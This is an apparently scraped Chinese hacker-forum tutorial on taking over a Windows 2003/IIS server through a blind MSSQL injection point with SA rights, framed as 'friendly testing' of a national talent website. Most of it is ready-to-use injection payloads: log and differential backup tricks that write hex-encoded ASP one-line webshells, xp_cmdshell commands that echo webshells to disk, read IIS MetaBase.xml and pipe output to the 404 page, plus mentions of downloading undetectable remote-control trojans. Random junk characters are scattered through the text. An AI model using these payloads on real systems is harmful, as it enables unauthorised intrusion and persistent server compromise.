sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
5 N9 P: _$ x3 y- x2 E/ S$ z

                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

2 M+ i7 H' d5 l( X$ |                                                                 
                                                                 
3 j2 d7 |" m3 ]4 E) A/ p8 i( A$ ]                                                                  论坛： http://www.90team.net/


4 i( Z' }: r3 ^/ p# @4 c
  r; _5 J9 c; a! H0 z( [* D友情检测国家人才网

. M- `7 i! N$ d- ~: S$ T& [
) I) M* t& I7 g" y- L1 }9 @! C" c内容：MSSQL注入SA权限不显错模式下的入侵
/ A* \  w8 Z, H/ h1 s
% f' I4 a8 c; h) {4 {
一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

7 w9 {  l# P4 F+ ~/ I- V  c我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
7 z2 \$ w" @: `  k1 j9 ]

& I. _" Q0 V$ T. ^, g* ]) L这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：
: {/ s( E" B, `9 C' E8 r% z$ \
首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
% X0 X  b4 G9 Q0 L2 x. o" G" i
1.日志备份获得Webshell

" V4 y1 j, \3 L  I7 j" R3 o2.数据库差异备份获得Webshell

5 h$ r) n8 `! |1 M# n4.直接下载免杀远控木马。
- |: e: Z* _  f' L
5.直接下载LCX将服务器端口转发出来

+ X9 q# M+ }) [: q- K" [6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。



在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法
' B/ k8 f* n: U

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL



8 e) E6 b8 r( D7 A
◆日志备份：


1. 进行初始备份
/ ~5 j- L# w- \7 `: }' \1 D; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

& V5 p5 O( C& {2. 插入数据
( V/ w2 l0 S) M) \# d;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

! m( T1 |$ n+ C: r  S% J) t0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
6 J% n- C" o: t6 ~! I8 r5 ^  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
  L( p& [! z( u2 a- D1 @4 c
4 S/ p  v( @& S$ w- {4 U

' l, S& S; M7 g8 u3 y" ?◆数据库差异备份
2 u/ z0 q( J: j! v7 z: R9 c
; P' F8 T; R! Z) q% e7 z（1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

+ R; c/ E/ j; A" {9 u# O上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
" ^0 V: {0 l' D& Q0 Z' E+ T; i

+ ]. v( L. y* ^（2. 将数据写入到数据库
( C. I, _: |+ l* w0 c;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件
; [& i& m7 m# O3 W
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

( A6 |2 f2 p# X: j, ^0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
  X$ g9 l- S6 D$ |1 t1 ], c
$ p( Z) F9 m; Z) p2 U$ z! w7 C

! x' X0 \: C. y( W9 X用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
: l  }2 @% N. c+ H
读取IIS配置信息获取web路径

     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

3 c- a) W! \: M& ]4 o  y9 R执行命令
     
$ J& H7 P' \+ g+ t     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
- p. R. @) }7 `
* n9 @0 a% n7 M# g


9 I3 ?  i/ N/ S: S  z; p



) _$ w+ J& ~/ T8 P
0 W" M8 s3 N4 y9 x- F3 P
3 {5 U  X7 M; l
& ]( O4 k/ z: `6 k
' T7 E. J0 I) i



3 Y$ d4 W- z$ N" N7 d" k/ `* n



0 C* `8 [7 [. O" k
- @  D/ F5 r8 P% t- m



: I! X6 c# z! r






1 v( Z* h7 W5 V# u! B
$ [# ]. X: U( J4 B
% y3 C  K$ n5 j1 X1 |  @6 Z; e
" U/ o2 D3 _( J% G  S$ s& S8 N




' u) u8 d3 b' o4 U) q% Q
% c( M/ A; ]. U3 I/ n+ M4 R
/ C5 Q: T8 [* p. i0 m' r


0 i4 D. Q4 y9 I; D: o$ ^/ G! h
9 d" |  V2 q9 h/ a' d. J+ o& r
2 ]- L9 Q, f7 V4 L9 R2 X* ^( {5 n9 D
/ H, a3 @$ e6 W; h0 }